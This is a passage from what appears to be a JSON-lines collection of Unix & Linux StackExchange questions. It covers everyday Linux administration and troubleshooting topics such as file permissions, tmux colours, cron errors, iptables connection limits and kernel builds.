unconditional `jme_reset_link(jme);`)"} {"_id": "46867", "title": "In my secure log there is a new group added that Im unsure about after adding semanage", "text": "I installed `semanage` onto my `CentOS 6.2` box and I was going through my secure log after the install and noticed this entry: Aug 31 22:12:17 xxxx groupadd[12929]: group added to /etc/group: name=cgred, GID=489 Aug 31 22:12:17 xxxx groupadd[12929]: group added to /etc/gshadow: name=cgred Aug 31 22:12:17 xxxx groupadd[12929]: new group: name=cgred, GID=489 I couldn't find any info on the group `cgred` I did find this Arch Linux Wiki article about Control Groups, is that what this is? Just looking for info to make sure I know what is going on with my box."} {"_id": "20156", "title": "virtualenv type tool for apt-get?", "text": "Is there anyway or any popular tool that can allow me to create an isolated package environment for apt-get similar to what virtualenv does for pip and python packages?"} {"_id": "90312", "title": "GCC compilation - where the __stack_chk_fail@GLIBC_2.4 symbol comes from?", "text": "I'm using GCC 4.7.2 from devtoolset package on CentOS 5 (CentOS 5 because we need compatibility with old Linuxes, and GCC 4.7 because it optimizes better than 4.4). There is one symbols that prevents my binaries from running on RHEL4: `__stack_chk_fail@GLIBC_2.4`. It is included only in some C++ programs and the `-fno-stack-protector` flag doesn't help. Here is minimal program that reproduces the problem (but the same using `stdio.h` works): #include int main(int argc, char *argv[]) { for(int i=0; i < argc; i++) std::cout << \" \" << argv[i]; return 0; } When compiled with optimization (`-O`/`-O2`) it references `__stack_chk_fail`. $ g++ -fno-stack-protector -O2 foo.cc $ readelf -s a.out | grep chk 15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (5) 105: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@@GLIBC_2 Any idea why this symbol gets here and how to get rid of it? Just in case, full `readelf` output and `gcc -v` is here. Edit: This problem may be specific to Red Hat Developer Toolset 1.1. With default CentOS compiler `__stack_chk_fail` is not referenced."} {"_id": "20158", "title": "Actively developed text browser", "text": "I am looking for \"the modern\" lynx/links/elinks fork or equivalent that's actively maintained and can be considered the most advanced of the genre, please. I have looked at this already: http://web- browsers.findthebest.com/compare/18-25-26/ELinks-Web-Browser-vs-Lynx-Web- Browser-vs-Links-Web-Browser This question is similar to this http://stackoverflow.com/questions/604666/elinks-or-lynx but allows consideration of other programs as well."} {"_id": "134808", "title": "Renaming file in scripts", "text": "I want to rename `IGNORE_NAMES_20140606-2014-06-06.txt` file to `IGNORE_NAMES_20140606.txt`. I don't want to use the command below as I want to do it through a shell script. cp -p IGNORE_NAMES_20140606-2014-06-06.txt IGNORE_NAMES_20140606.txt"} {"_id": "43263", "title": "Why can't root execute when executable bits are not set?", "text": "`root` user _can_ write to a file even if its `write` permissions are not set. `root` user _can_ read a file even if its `read` permissions are not set. `root` user _can_ `cd` into a directory even if its `execute` permissions are not set. `root` user _cannot_ execute a file when its `execute` permissions are not set. Why? user$ echo '#!'$(which bash) > file user$ chmod 000 file user$ ls -l file ---------- 1 user user 12 Jul 17 11:11 file user$ cat file # Normal user cannot read cat: file: Permission denied user$ su root$ echo 'echo hello' >> file # root can write root$ cat file # root can read #!/bin/bash echo hello root$ ./file # root cannot execute bash: ./file: Permission denied"} {"_id": "128204", "title": "What does \"while test $# -gt 0\" do?", "text": "I'm trying to create a function and believe I found a good working example but I don't understand all the logic behind it. More specifically, on the \"while\" line, could someone explain what test is and does? what is $# (isn't # a comment char?) and were does the -gt 0 parameter comes from? couldn't find it in the while man page. Here is the example: function my_function() { while test $# -gt 0 do $ echo \"$1\" shift done } Thank you."} {"_id": "114224", "title": "Open file with default program and wait until the app is terminated", "text": "I want to open a text file from the command line with the default application. During that time the default app is opened, the terminal must be disabled (cannot execute another command). For example, I use KDE and the default `.txt` reader is Kate, then I want to execute `kate test.txt` and the terminal is disabled until I terminate Kate. What I want? * execute a command that starts the default text editor * meanwhile the c++ program is waiting at that specific point which executes the command described above * when the user is ready, saves the document, exit the default text editor(terminates) and the the execution of the c++ program continues"} {"_id": "127470", "title": "Executing PHP with CronJobs in CentOS 6.4 not working?", "text": "So I've spent around 2-3 hours now and some times researching, I found several of the same responses online but none seem to work! I'm trying to execute a PHP script every minute (as a test), but it doesn't work. ![This is crontab in /etc/crontab](http://i.stack.imgur.com/uJNVs.png) I honestly don't see what's wrong with that script. So I've went to check the logs and I get this; > May 1 19:59:01 _namehere_ crond[1112]: ( _system_ ) RELOAD (/etc/crontab) > May 1 19:59:01 _namehere_ crond[1112]: (CRON) bad username (/etc/crontab) I am quite confused, any help would be greatly appreciated! I have LAMP installed and php-cli if that matters. EDIT: I finally made it execute! Thanks to the poster below! However, I now have another problem, I get emailed an error ![enter image description here](http://i.stack.imgur.com/sOpx3.png) My script includes other scripts, when I was on cPanel (shared hosting), it worked perfectly, but now it doesn't, what could be the problem?"} {"_id": "144277", "title": "Where is the input method configuration file?", "text": "My `ibus` input method was broken after an update. So I switched to `fcitx`. Actually, there are a handful IMs installed in my Fedora19 system, e.g. fcitx, ibus, yong, etc. However, I don't know how to configure them. My default IM for `gnome- terminal` is `yong`, `ibus` for `gmrun`. As for `firefox` or `chrome`, I guess they use `ibus` by default, because `GTK_IM_MODULE=ibus`. There are just-work solutions. I can switch IM by right-click-menu in some applications like `gnome-terminal` or `gmrun`. I can also specify IM with `GTK_IM_MODULE`. But how to do it automatically? I know the IM settings have something to do with configuration files like * `~/.xinputrc` * `/etc/X11/xinit/xinputrc` * `/etc/X11/xinit/xinput.d/ibus.conf` * `/etc/X11/xinit/xinput.d/fcitx.conf` * `/etc/X11/xinit/xinitrc` * `/etc/alternatives/xinputrc` The questions are * How to configure IM properly? * What configuration files really matter? In which execution order?"} {"_id": "118806", "title": "tmux, TERM and 256 colours support", "text": "# Introduction My question arises from the necessity of understanding **why** I have _now_ (after multiple trials) _Terminal_ and _tmux_ supporting 256 colours and `tput colors` telling me there are only 8 of them. * * * # Background Let's start from the beginning. I'm using a _Ubuntu_ box, _Guake_ , _tmux_ , _Vim_ and I love the theme _Solarized_. They were looking pretty awful, so I decided to enable the 256 colours support and play a bit around. Let's see what happens for my _Terminal_. `tput colors` says there are 8 colours. I personally set them to purple, on the left, and _of course_ on the right we have 2 different shades of blue. `$TERM` says `xterm`. (To have the coloured `ls` I `eval` this in my `.bashrc`.) ![enter image description here](http://i.stack.imgur.com/44TRA.png) _Vim_ also looks fine, despite the fact that I call it with the `256` flag in an environment where 256 colours are **not** supported. set t_Co=256 let g:solarized_termcolors=256 colorscheme solarized The only guy who complains about the reduced colour space is _tmux_. Calling `tmux` provides the \"wrong\" expected results. ![enter image description here](http://i.stack.imgur.com/kIY0Q.png) But calling `tmux` with the `-2` flag makes everything work fine, _magically_. ![enter image description here](http://i.stack.imgur.com/Gxts8.png) Now the only thing that I understand is that `-2` is equivalent of `export TERM=screen-256color` (source). _Guake_ behaves analogously to _Terminal_ and both of them answer `xterm` to the question `echo $TERM`. * * * # Question Basically, does anyone understand why everything works even if it shouldn't? * _Am I sadistic that I complaining why things work? Maybe._ * _Is there a better reason? Sure: I'd like to fix the appearance of other Ubuntu boxes in my office, and I'd like to understand why things work or don't work._ * * * # Additional experiments Running this script (slightly modified) on my `xterm` provides the following result: 256 colours, but only 16 are displayed correctly. ![enter image description here](http://i.stack.imgur.com/ye7zi.png) Then, changing terminal's profile, also these 16 colours change. ![enter image description here](http://i.stack.imgur.com/qaxQJ.png) More tests are following. From left to right, top to bottom, we have _Solarized_ colour theme, `dircolor` `ansi-dark` and `256dark`, then default ( _Tango_ ) colour scheme, `dircolor` `ansi-dark` and `256dark`. ![enter image description here](http://i.stack.imgur.com/8MF1z.png) **Observation** : in theory the `dircolor` `ansi-dark` on _Solarized_ colour scheme should have match closely the `dircolor` `256dark`. This is not clearly happening for the specific listed files. Instead, this quite happens when in the working directory there are _folders_ , _text files_ and _symbolic links_. **Conclusion** : no much attention as been paid while encoding the `256dark` colours. * * * # Preliminary conclusions `xterm` supports 256 colours, despite what `tput colors` says. Programs can refer to the `ansi` palette (customisable by the user) or define their colours, picking from a total of 256 colours."} {"_id": "118807", "title": "Is there any drawback to using \"grep -E\" instead of plain \"grep\"?", "text": "I understand that **GNU** `grep` without `-E` uses basic regex and that `grep -E` uses extended regex. Is there any harm in using `grep -E` even for situations that would work with plain `grep`?"} {"_id": "118800", "title": "what process is listening on a given port", "text": "I have several problems: 1. some process is attempting to send data and the firewall is rejecting it at the rate it is sending it out 2. firewall logs flood the system (may need to rate-limit the logging) 3. lsof -i :port does not list the process, but there has to be something causing the packets to keep being sent. netstat -patune lists it in the SYN_SENT state not listening The port that it is using does not make sense to me so that is one oddity and the other being how traffic continues to be sent."} {"_id": "127475", "title": "How do you give a developer group access to apache, MySQL, php and the webroot?", "text": "We have 3 web designers that are currently logging in to our server via root to configure apache and setup websites. I have very basic linux knowledge (I'm a web designer) and have created users and groups via Webmin - but how do you give the group access to: * Apache (/etc/apache2/) * MySQL * PHP * SSH (rsync etc) * The webroot They need to be able to transfer files via rsync, upload and dump databases and setup virtual hosts etc. Incase it makes a difference, Virtualmin is also installed on this server - which is a Debain 7 server. I'm obviously using the wrong search terms as I can't find easy, basic info so any pointers in the right direction would be much appreciated. Cheers Ben"} {"_id": "118802", "title": "Unable to download youtube video", "text": "I don't know what happened now but I'm unable to download any youtube video. Earlier it was working properly. I'm working on Ubuntu 13.04 ravbholua@ravbholua-Aspire-5315:~$ youtube-dl http://www.youtube.com/watch?v=ONWvX8ESrsk [youtube] Setting language [youtube] ONWvX8ESrsk: Downloading video webpage [youtube] ONWvX8ESrsk: Downloading video info webpage [youtube] ONWvX8ESrsk: Extracting video information Traceback (most recent call last): File \"/usr/lib/python2.7/runpy.py\", line 162, in _run_module_as_main \"__main__\", fname, loader, pkg_name) File \"/usr/lib/python2.7/runpy.py\", line 72, in _run_code exec code in run_globals File \"/usr/bin/youtube-dl/__main__.py\", line 7, in File \"/usr/bin/youtube-dl/__init__.py\", line 536, in main File \"/usr/bin/youtube-dl/__init__.py\", line 520, in _real_main File \"/usr/bin/youtube-dl/FileDownloader.py\", line 475, in download File \"/usr/bin/youtube-dl/InfoExtractors.py\", line 80, in extract File \"/usr/bin/youtube-dl/InfoExtractors.py\", line 405, in _real_extract File \"/usr/bin/youtube-dl/InfoExtractors.py\", line 405, in KeyError: 'sig' ravbholua@ravbholua-Aspire-5315:~$"} {"_id": "13056", "title": "Finding session information about Firefox", "text": "I'm currently developing a piece of software whose functionality is dependent upon knowing the state of the current Firefox session running on the user's Ubuntu computer. The information it will need to know the following: * How many Windows are open? * How many tabs are there in each window? * What is the URL currently opened in each tab? * How far down each tab has the user scrolled? Upon receiving an explicit command from the user, the application will hunt down this information from wherever it resides on the system. The problem is I have no idea where I should program the application to look for this. My first guess was that inspection of the Firefox processes in the kernel would yield the desired information, but I've used the system monitor to watch for additional processes starting up when more windows and tabs are opened, but the only Firefox process it mentions is 'firefox-bin', leading me to conclude that this assumption is incorrect. I'm prepared to do some significant reading if someone could just point me in the right direction, it's just that my time is limited and I can't afford to start poking around inside the kernel in the hope that I stumble across what I'm looking for. Does anyone know how I can find the above information **without** resorting to installing a plugin on Firefox that exports it?"} {"_id": "82357", "title": "What do the symbols displayed by ls -F mean?", "text": "I noticed that if I run ls -F on a directory, some of the entries have a * or a @ after them. spuder@ubuntu:~$ ls -F /sbin acpi_available* getpcaps* lvmconf* ntfscp* start-stop-daemon* agetty* getty* lvmdiskscan@ ntfslabel* status@ alsa* halt@ lvmdump* ntfsresize* stop@ alsactl* hdparm* lvmsadc@ spuder@ubuntu:~$ ls -F ~ daq-0.6.1/ examples.desktop noname-cache.lib snort-2.9.1/ Templates/ Desktop/ jpgraph-1.27.1/ noname.sch snortfiles/ Ubuntu One/ Documents/ According to the ls man pages spuder@ubuntu:~$ man ls ... -F, --classify append indicator (one of */=>@|) to entries ... I'm guessing that `@` means symbolic link, What do these other indicators mean ( `*/=>@|` ) ?"} {"_id": "62086", "title": "Problem mounting my iRiver story HD on Ubuntu", "text": "I would like to connect my iRiver Story HD to my ubuntu 12.04 machine but as I connect it I get this error: > Unable to mount Story HD > > Error mounting: mount: wrong fs type, bad option, bad superblock on > /dev/sdb, missing codepage or helper program, or other error In some cases > useful info is found in syslog - try dmesg | tail or so This is what I get with `dmesg` [58332.932515] usb 2-1.3: USB disconnect, device number 9 [58332.933056] sd 6:0:0:0: [sdb] Synchronizing SCSI cache [58332.933132] sd 6:0:0:0: [sdb] Result: hostbyte=DID_NO_CONNECT driverbyte=DRIVER_OK [58349.254839] usb 2-1.3: new high-speed USB device number 10 using ehci_hcd [58349.535804] scsi7 : usb-storage 2-1.3:1.0 [58350.535209] scsi 7:0:0:0: Direct-Access iriver Story EB07 0326 PQ: 0 ANSI: 2 [58350.537099] scsi 7:0:0:1: Direct-Access iriver Story SD 0326 PQ: 0 ANSI: 2 [58350.538773] sd 7:0:0:0: Attached scsi generic sg2 type 0 [58350.539178] sd 7:0:0:1: Attached scsi generic sg3 type 0 [58350.548997] sd 7:0:0:0: [sdb] 3243041 512-byte logical blocks: (1.66 GB/1.54 GiB) [58350.657284] sd 7:0:0:0: [sdb] Write Protect is off [58350.657291] sd 7:0:0:0: [sdb] Mode Sense: 0f 00 00 00 [58350.767369] sd 7:0:0:0: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [58350.777168] sd 7:0:0:1: [sdc] Attached SCSI removable disk [58351.004612] sdb: [58351.237097] sd 7:0:0:0: [sdb] Attached SCSI removable disk [58351.503837] FAT-fs (sdb): codepage cp437 not found [58362.792082] FAT-fs (sdb): codepage cp437 not found [58388.066212] FAT-fs (sdb): codepage cp437 not found and `fdisk -l` Disk /dev/sdb: 1660 MB, 1660436992 bytes 52 heads, 61 sectors/track, 1022 cylinders, total 3243041 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System **EDIT** I have already connected it in Windows and it works (just in case somebody assumes it's broken :) ) **EDIT2** $ sudo file -s /dev/sdb /dev/sdb: x86 boot sector, mkdosfs boot message display, code offset 0x58, OEM-ID \" mkdosfs\", sectors/cluster 8, Media descriptor 0xf8, heads 4, sectors 3243040 (volumes > 32 MB) , FAT (32 bit), sectors/FAT 3161, serial number 0x20, label: \"Story HD \""} {"_id": "62080", "title": "Compile Linux Kernel w/ Dynamically (Un)loadable usbserial Module", "text": "I've attempted to install drivers for an FPGA device, but require that I remove the `usbserial` module. This happens to be impossible because `usbserial` is a built-in module. It was suggested that I compile a new kernel to make `usbserial` dynamically loadable and unloadable. I'm now trying to compile a custom kernel w/ Fedora. The guide being located here: http://fedoraproject.org/wiki/Building_a_custom_kernel At this moment I am using a GUI to set my kernel options, but I have no idea what options to select and deselect. ![enter image description here](http://i.stack.imgur.com/wcnyJ.png) Any advice would be greatly appreciated."} {"_id": "21251", "title": "Why do directories need the executable (X) permission to be opened?", "text": "In my CMS, I noticed that directories need the executable bit (`+x`) set for the user to open them. Why is the execute permission required to read a directory?"} {"_id": "150449", "title": "What does \"execute\" permission on a folder means?", "text": "I have read this topic, which gave me some info but I feel I am not fully getting it. What does the execute permission actually means on a folder? I fully understand what it means on a file, but on a folder... Sorry if that is a RTFM question. I have looked into it, I swear. This is what I found there : x : execute/search only if the file is a directory or already has execute permission for some user (X) Any clarification is much appreciated."} {"_id": "97024", "title": "Rationale find command display . directory", "text": "I am wondering what the reason or rationale is for the find command to list the current directory ( . ) at some times but not others. When I use \".\", I see the current directory in the outer directory but not the inner directory. $ pwd /home/me/a $ find . -exec echo {} \\; . ./abc.txt ./a.txt ./d ./d/da.txt When I give the specific directory, I do not see the current directory. $ find /home/me/a -exec echo {} \\; /home/me/a /home/me/a/abc.txt /home/me/a/a.txt /home/me/a/d /home/me/a/d/da.txt Here is how ls sees the situation. $ ls -lR .: total 4.0K -rw-r--r--. 1 me 0 Oct 20 19:03 abc.txt -rw-r--r--. 1 me 0 Oct 21 14:56 a.txt drwxr-xr-x. 2 me 4.0K Oct 21 14:57 d/ ./d: total 0 -rw-r--r--. 1 me 0 Oct 21 14:57 da.txt"} {"_id": "83768", "title": "Linux Mint SPDIF Out Not Working", "text": "I'm running Linux Mint 15 (Cinnamon) on a computer with a GA-Z68X-UD3H-B3 motherboard. The only issue that I have had is the sound. The analog outs work fine, but I cannot get any sound from the optical out. I have tried several fixes that I have seen, including editing the `alsa-base` modprobe file. Here is the output from `aplay -l`: **** List of PLAYBACK Hardware Devices **** card 0: PCH [HDA Intel PCH], device 0: ALC889 Analog [ALC889 Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: PCH [HDA Intel PCH], device 1: ALC889 Digital [ALC889 Digital] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: PCH [HDA Intel PCH], device 3: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 Anyone have any ideas?"} {"_id": "20252", "title": "How do you determine if AIX 5.3 has PERL installed?", "text": "Simply put, how do you determine if AIX 5.3 has PERL installed as non-root?"} {"_id": "20256", "title": "Is it fine to use tail -f on large log files", "text": "I would like monitor a large log file (close to 1 GB) for errors. I want this to be close to real time (few seconds delay is fine). My plan is to use `tail -f | grep`. Is there any performance issues with using such a method when running it over a long time, say from zero bytes to 1 GB? Are there any standards practices used for such a monitoring. Note that I would like to do this using standard unix commands available on Solaris 10. If that is possible, my file even rolls over and I have one more problem to sort out :). using `tail -F` (`-follow=name`) is not an option for me because `-F` is not supported in the server I want to run this on. My plan is to use a script which will start this tail and poll on to find if the file is rolled over. If yes, then kill the tail and restart it. Any better approach?"} {"_id": "20257", "title": "How do you display xterm colors with putty/bash?", "text": "Putty has this \"allow terminal use xterm 256 colour mode\" that I'd like to use, but I don't know how. I've been using a `color.sh` script to output echo statements and commands with colors, and I want to do something like that with xterm colors. #!/bin/bash ## Specify color to write in using arguments function --help { cat << EOF ERROR: $0 requires a color argument. USAGE: Changes the color of the text piped into it. These color arguments are availabe: ARGUMENT SHORTCUT white ------ w red ------ r green ------ g yellow ------ y blue ------ b violet ------ v teal ------ t bold ------ bb The \"bold\" argument will modify any color. Use a max of 2 arguments (one color and bold). EOF } function bold { # make the color bold BOLD=1\\; } function white { COLOR=1 } function red { COLOR=31 } function green { COLOR=32 } function yellow { COLOR=33 } function blue { COLOR=34 } function violet { COLOR=35 } function teal { COLOR=36 } ## shortcuts function bb { bold } function w { white } function r { red } function g { green } function y { yellow } function b { blue } function v { violet } function t { teal } function o { red bold } ## Execution if [ \"$#\" = 0 ] then --help fi while (($#)); do $1 shift done echo -n \"[\"$BOLD\"\"$COLOR\"m\" cat echo -n \"[0m\""} {"_id": "129189", "title": "Debian 7.0 (wheezy) change Keyboard Layout to German", "text": "I am struggling with changing the language to German, in the `locale` Settings there is only one available language (American English). I would like to have German and i am not a linux guru."} {"_id": "44426", "title": "xargs and vi - \"Input is not from a terminal\"", "text": "I have about 10 `php.ini` files on my system, located all over the place, and I wanted to quickly browse through them. I tried this command: locate php.ini | xargs vi But `vi` warns me `Input is not from a terminal` and then the console starts getting really weird - after which I need to press `:q!` to quit `vi` and then disconnect from the ssh session and reconnect to have the console behave normally again. I think that I sort of understand what's happening here - basically the command hasn't finished when `vi` started so the command maybe hasn't finished and `vi` doesn't think that the terminal is in normal mode. I have no idea how to fix it. I have searched Google and also unix.stackexchange.com with poor luck."} {"_id": "40964", "title": "emacs dedicated completion window", "text": "To prevent confusion, I only run one \"window\" of emacs and so I use window in the emacs sense. I'm looking to get a window split which, let's say 70 in width, contains the completions buffer on the new split when I start emacs. I think I need to have a dedicated window. What I'm basicly trying to achieve is the following. +-----+---+ | | A | | |---| | C | B | +-----+---+ C = where I normally work. A = the completion buffer (also I would like to have messages and everything that emacs throws at me there) B = a shell. I have now the following added for this purpose in my .emacs: (split-window-horizontally) ;; want two windows at startup (other-window 1) ;; move to other window (shell) ;; start a shell (other-window 1) ;; move back to first window I would like to split the right window another time vertically and I would like to be able to specify the dimensions of each window. Also, I would like to have the dedicated property of the completions, messages, ... window (A) to be true so that emacs doesn't replace it. I've heard that a lot of people use this setup but I can't seem to find it anywhere."} {"_id": "44424", "title": "Where are the command-line options to perl documented?", "text": "On StackExchange I came across a command that looked like this: perl -pe ... Curious what the `-pe` options meant, I did `man perl`. This is the synopsis of that man page: perl [ -sTtuUWX ] [ -hv ] [ -V[:configvar] ] [ -cw ] [ -d[t][:debugger] ] [ -D[number/list] ] [ -pna ] [ -Fpattern ] [ -l[octal] ] [ -0[octal/hexadecimal] ] [ -Idir ] [ -m[-]module ] [ -M[-]'module...' ] [ -f ] [ -C [number/list] ] [ -S ] [ -x[dir] ] [ -i[extension] ] [ [-e|-E] 'command' ] [ -- ] [ programfile ] [ argument ]... However, the man page does not explain what any of the options `sTtuUWXhvcwpnafS` do. Instead it refers you to `perldoc`. However, I can't seem to find any reference to the actual command line arguments in `perldoc`. Where are they actually documented? Is there some secret linux documentation information retrieval method I am unaware of here? On a side note/rant, is the fact that I can't find this information an indication of a failing in the perl documentation? I am happy to read the documentation rather than just ask questions online, but I swear finding my answer in the documentation can be near impossible at times! Graarh! /rant"} {"_id": "29769", "title": "Trailing slashes on symbolic links to directories", "text": "I'm trying to emulate the process of path resolution (see man page path_resolution) in unix-like systems. My OS is Linux with GNU coreutils 8.7. In order to clarify the meaning of extra trailing '/' in resolution, I did following things in a shell: mkdir this_is_dir ln -s this_is_dir this_is_link rm this_is_link Everything was fine, because this_is_link is a symlink, and I just removed it away. But while trying: mkdir this_is_dir ln -s this_is_dir this_is_link rm this_is_link/ It echoed `rm: cannot remove 'this_is_link/': Is a directory` Well, the trailing '/' caused following of symlink, I thought. So, I tried another command: `rmdir this_is_link/` And a funny result came out: `rmdir: failed to remove 'this_is_link/': Not a directory` Not what I expected. So I asked my friend to confirm if the same result could be obtained on his system. He had a lower version of coreutils than I had. And the result was amazing, **no matter`rm` or `rmdir 'this_is_link/'`, the same error `Not a directory` occurs**. And another friend just tried it out on his Mac OS, the result is: **`rm` => 'Is a directory', `rmdir` => the directory is successfully deleted, the link remained**. Are there any spec about the **exact** behavior of path resolution?"} {"_id": "29768", "title": "portsentry and IPTables on constant reboot, but not sure why", "text": "I have been doing some hardening on a new server [ centos 5.7 final ] i also have logwatch and seem to be getting these strange logs Commands Run: User root: /sbin/service portsentry restart >/dev/null && /sbin/service iptables restart >/dev/null: 72 Time(s) Then the portsentry log is: --------------------- PortSentry Begin ------------------------ Ignored following ports Advanced Stealth: TCP: ports: 21-22 25 53 80 110-111 113 135 137-139 443 932 Excluded following ports Advanced: ports: 21-22 25 53 80 110 113 135 137-139 443 **Unmached entries** 72 Time(s): adminalert: Advanced mode will monitor first 1024 ports 72 Time(s): adminalert: ERROR: Socket 111 is in use and will not be monitored. Attempting to continue 72 Time(s): adminalert: Going into stealth listen mode on UDP port: 1 72 Time(s): adminalert: Going into stealth listen mode on UDP port: 111 72 Time(s): adminalert: Going into stealth listen mode on UDP port: 137 72 Time(s): adminalert: Going into stealth listen mode on UDP port: 138 etc etc ...... then 144 Time(s): adminalert: PortSentry 1.2 is starting. 144 Time(s): adminalert: PortSentry is shutting down 144 Time(s): securityalert: PortSentry is shutting down ---------------------- PortSentry End ------------------------- I am a little puzzled to say the least, if i log on and start portsentry manually i get an okay for the close and an okay for the start, so i can get it to run, just cant seem to stop it from starting and stopping after that. I have looked in crontab and there is no repeating entry for the first section [ commands run] this log is from cron. If anyone else has come accross this, or can give me a clue then that would be great. thanks"} {"_id": "5251", "title": "Can one PC be used by two users at the same time via dual-monitor?", "text": "Since modern PCs can use two screens at the same time I wonder if it is possible to plug in two keyboards and mouses as well to have the two screens run two (more or less) independent X-sessions at once?"} {"_id": "100671", "title": "How can I set up multiseat/separate X sessions with gnome 3?", "text": "With classic Gnome, if one had two monitors, one could set up \"separate X sessions\" for each monitor. In this configuration, each monitor had a separate user login session and application windows were captive to the X session they were launched from. Is something similar possible with Gnome 3? If so, how do you go about setting it up?"} {"_id": "40961", "title": "Error when building bfilter", "text": "I tried to build bfilter from source, but get the following error: make all-recursive make[1]: Entering directory `/home/myuser/Downloads/bfilter-1.1.4' Making all in binreloc make[2]: Entering directory `/home/myuser/Downloads/bfilter-1.1.4/binreloc' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/myuser/Downloads/bfilter-1.1.4/binreloc' Making all in foundation make[2]: Entering directory `/home/myuser/Downloads/bfilter-1.1.4/foundation' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/myuser/Downloads/bfilter-1.1.4/foundation' Making all in boost make[2]: Entering directory `/home/myuser/Downloads/bfilter-1.1.4/boost' Making all in libs make[3]: Entering directory `/home/myuser/Downloads/bfilter-1.1.4/boost/libs' Making all in regex make[4]: Entering directory `/home/myuser/Downloads/bfilter-1.1.4/boost/libs/regex' make[4]: Nothing to be done for `all'. make[4]: Leaving directory `/home/myuser/Downloads/bfilter-1.1.4/boost/libs/regex' Making all in program_options make[4]: Entering directory `/home/myuser/Downloads/bfilter-1.1.4/boost/libs/program_options' /bin/bash ../../../libtool --tag=CXX --mode=compile g++ -DHAVE_CONFIG_H -I. -I../../.. -I../../.. -I../../../boost -DBOOST_MULTI_INDEX_DISABLE_SERIALIZATION -DNDEBUG -Os -Wall -Wno-unused -pthread -MT config_file.lo -MD -MP -MF .deps/config_file.Tpo -c -o config_file.lo `test -f 'src/config_file.cpp' || echo './'`src/config_file.cpp g++ -DHAVE_CONFIG_H -I. -I../../.. -I../../.. -I../../../boost -DBOOST_MULTI_INDEX_DISABLE_SERIALIZATION -DNDEBUG -Os -Wall -Wno-unused -pthread -MT config_file.lo -MD -MP -MF .deps/config_file.Tpo -c src/config_file.cpp -o config_file.o In file included from ../../../boost/boost/mpl/apply.hpp:23:0, from ../../../boost/boost/iterator/iterator_facade.hpp:34, from ../../../boost/boost/program_options/eof_iterator.hpp:9, from ../../../boost/boost/program_options/detail/config_file.hpp:17, from src/config_file.cpp:10: ../../../boost/boost/mpl/apply_wrap.hpp:81:31: error: missing binary operator before token \"(\" ../../../boost/boost/mpl/apply_wrap.hpp:173:31: error: missing binary operator before token \"(\" In file included from ../../../boost/boost/mpl/bind.hpp:27:0, from ../../../boost/boost/mpl/lambda.hpp:18, from ../../../boost/boost/mpl/apply.hpp:25, from ../../../boost/boost/iterator/iterator_facade.hpp:34, from ../../../boost/boost/program_options/eof_iterator.hpp:9, from ../../../boost/boost/program_options/detail/config_file.hpp:17, from src/config_file.cpp:10: ../../../boost/boost/mpl/apply_wrap.hpp:81:31: error: missing binary operator before token \"(\" ../../../boost/boost/mpl/apply_wrap.hpp:173:31: error: missing binary operator before token \"(\" In file included from ../../../boost/boost/mpl/lambda.hpp:18:0, from ../../../boost/boost/mpl/apply.hpp:25, from ../../../boost/boost/iterator/iterator_facade.hpp:34, from ../../../boost/boost/program_options/eof_iterator.hpp:9, from ../../../boost/boost/program_options/detail/config_file.hpp:17, from src/config_file.cpp:10: ../../../boost/boost/mpl/bind.hpp:364:31: error: missing binary operator before token \"(\" ../../../boost/boost/mpl/bind.hpp:531:31: error: missing binary operator before token \"(\" In file included from ../../../boost/boost/mpl/lambda.hpp:22:0, from ../../../boost/boost/mpl/apply.hpp:25, from ../../../boost/boost/iterator/iterator_facade.hpp:34, from ../../../boost/boost/program_options/eof_iterator.hpp:9, from ../../../boost/boost/program_options/detail/config_file.hpp:17, from src/config_file.cpp:10: ../../../boost/boost/mpl/aux_/full_lambda.hpp:230:31: error: missing binary operator before token \"(\" In file included from ../../../boost/boost/iterator/iterator_facade.hpp:34:0, from ../../../boost/boost/program_options/eof_iterator.hpp:9, from ../../../boost/boost/program_options/detail/config_file.hpp:17, from src/config_file.cpp:10: ../../../boost/boost/mpl/apply.hpp:138:31: error: missing binary operator before token \"(\" make[4]: *** [config_file.lo] Error 1 make[4]: Leaving directory `/home/myuser/Downloads/bfilter-1.1.4/boost/libs/program_options' make[3]: *** [all-recursive] Error 1 make[3]: Leaving directory `/home/myuser/Downloads/bfilter-1.1.4/boost/libs' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/home/myuser/Downloads/bfilter-1.1.4/boost' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/home/myuser/Downloads/bfilter-1.1.4' make: *** [all] Error 2 Any idea how to fix this?"} {"_id": "129181", "title": "How does connlimit in iptables supposed to work?", "text": "I wanted to set a limit to the number of concurrent connections allowed on my web server. I tried the following rules on an iptables (v1.4.19.1) kernel 3.14.4-200.fc20.x86_64 with a default DROP policy for the INPUT chain under `filter` table: -A INPUT -p tcp --dport 80 -m connlimit --connlimit-upto 10 -j WEB -A WEB -j ACCEPT Then, I hit the server with 50 concurrent connections using apache benchmark: $ ab -kc 50 -t 10 http://mysite.com/ But, when I look at my server access log, I can still see a few hundred lines of successful requests. I am expecting the `connlimit` rule to kick in and drop all connections. Is there something wrong with my rules or my interpretation of concurrent connections?"} {"_id": "129180", "title": "Booting using initramfs instead of uramdisk", "text": "I am working on Zynq Microzed board. It is booting perfectly with uramdisk.image.gz but I trying to boot it with initramfs.cpio. In this regard I have made following changes in header files of u-boot: **zynq_common.h** and **zynq_common.h.save** changes are as follows **\"ramdisk_image=uramdisk.image.gz\\0\"** to **\"ramdisk_image=initramfs.cpio\\0\"** in both the header files I am getting following log messages![enter image description here](http://i.stack.imgur.com/JGXD0.png) It is still looking for uramdisk.image.gz and giving an error **Wrong Ramdisk Image Format** **Ramdisk image is corrupt or invalid** I am unable sought out where I am getting wrong and how to resolve it."} {"_id": "1176", "title": "Which steps I have to follow to configure Ubuntu server with Mac and Windows workstations?", "text": "I've recently installed Ubuntu Server 10.04. I already have configured the basics and now I want to associate Windows and Mac OSX machines with the users created on 